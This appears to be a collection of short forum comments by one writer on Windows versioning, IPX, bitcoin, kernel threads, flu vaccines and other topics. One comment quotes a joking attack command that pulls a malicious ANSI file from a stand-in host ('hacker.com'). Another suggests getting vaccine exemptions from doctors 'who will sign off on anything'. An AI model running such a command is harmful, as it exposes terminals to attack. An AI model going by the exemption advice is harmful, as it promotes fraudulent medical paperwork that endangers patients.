Touché

If you want to consider how the engineers inside Microsoft think of the code base, I'd suggest considering how they internally number the versions. I think it's very insightful. The windows API has a self-identification function that returns the internal version numbering.
Windows NT 4.0 self-identified as NT4.0
Windows 2000 self-identified as NT5.0
Windows XP self-identified as NT5.1
Windows Vista self-identified as NT6.0
Windows 7 self-identified as NT6.1
Windows 8 self-identified as NT6.2

Except that for the one that I had you had to whistle something very close to a B-flat.

A Representative is a representative and a Senator is a representative. Capitalization matters. Classically, as in before the 17th Amendment, a Senator was selected by the State and thus a Senator represents his/her State. However, for the past 100 years, we directly elect Senators which requires campaigning before the electorate and we can spend all day discussing the shortcomings of the modern campaign and the questions and confusions of loyalties that result from that.

I heard a guy claim that if Novell registered network numbers as ICANN does today and insisted that every site had a unique network number then IPX might have ended up being the dominate supporting protocol of the World Wide Web instead of IP. But since 99% of the sites used network #1, you couldn't route IPX among companies.

If the point of a harsh sentence is to "send a message" then make the sentence one of spreading the message. Make this guy go around and EDUCATE others on the hazards of ignorant recklessness.

Repeat experiment with parrots and ruin a perfectly good Monty Python skit.

It hasn't been declared illegal ... yet. Governments do tend to regard the minting of legal tender as their exclusive purview. The bitcoin community would do well to regard bit coins as "scrip" or "tokens" and not "currency." Lawyers love to sink their teeth into the legal definitions of words as opposed the common usage of words.

Children

Because minimum wage isn't a livable wage. There isn't a state in the States where anyone can work 40 hours a week at minimum wage and make enough for Fair Market Rent of a two bedroom apartment.

And that only takes down one user process without taking down the whole system. That's an example of a bug in a common library. It's similar to all the sprintf exploits over the years.

Running the console in User Space really meaning running a kernel thread in the unprivileged mode of the CPU. If you do a process listing on a current system, most of the PID's < 100 are user space threads launched from within the kernel itself and part of the kernel code base. These include things like USB management, software RAID, swapd, ext4-dio-unwrit. They don't create external dependencies. The chief benefit is that failures in those threads can't take the whole system down. I'm surprised we haven't seen a carefully crafted ANSI console attack hack circulating out there. "Hey kidz, try this: curl h**p://hacker.com/badansi.txt"

While I fully respect the concern of preserving the access of last resort as it is, the only "emergency" I ever have ever needed to use a physical console is when network connectivity goes belly up and you have to fix the network configuration to the point that you can SSH back into it again.

That isn't true. The WHO makes their best guess which strains will be most prevalent for that year. Sometimes they do well. Sometimes they don't. They did pretty good this year, the strain hitting the Northeast US (H3N2) was predicted, it's just a really nasty one. http://www.cdc.gov/flu/about/season/vaccine-selection.htm

I work at a major pediatric institution and like all the others, we've got a vaccination policy. All staff, whether front-line clinical care or back office, must get vaccinated either by the institution or by a primary care physician unless an employee has a qualifying contradiction. Employees are fully reimbursed if they choose to get vaccinated elsewhere. This year, the vaccination provided by the institution was the subcutaneous, attenuated live strain vaccination. Qualifying contradictions to vaccination include things like allergies to Thimerosal (a common preservative). To qualify for an exception, the contradiction must be supported by documentation from a physician. For the protection of patients, unvaccinated employees must stay home at the slightest suggestion of illness.

If I were one of those nurses, I would have refused passively by finding a doctor from the underground network of physicians who will sign off on anything, get the paperwork, and then abide by the stay at home policies. Actively and publicly refusing on religious grounds is just being incendiary.

I'm right there with you. As a dude born during the US Johnson administration, the phones just didn't exist for a long time and when the did arrive, they were very expensive. I got my first cell phone shortly after the birth of my first child. $35/mon for 30 min/mon.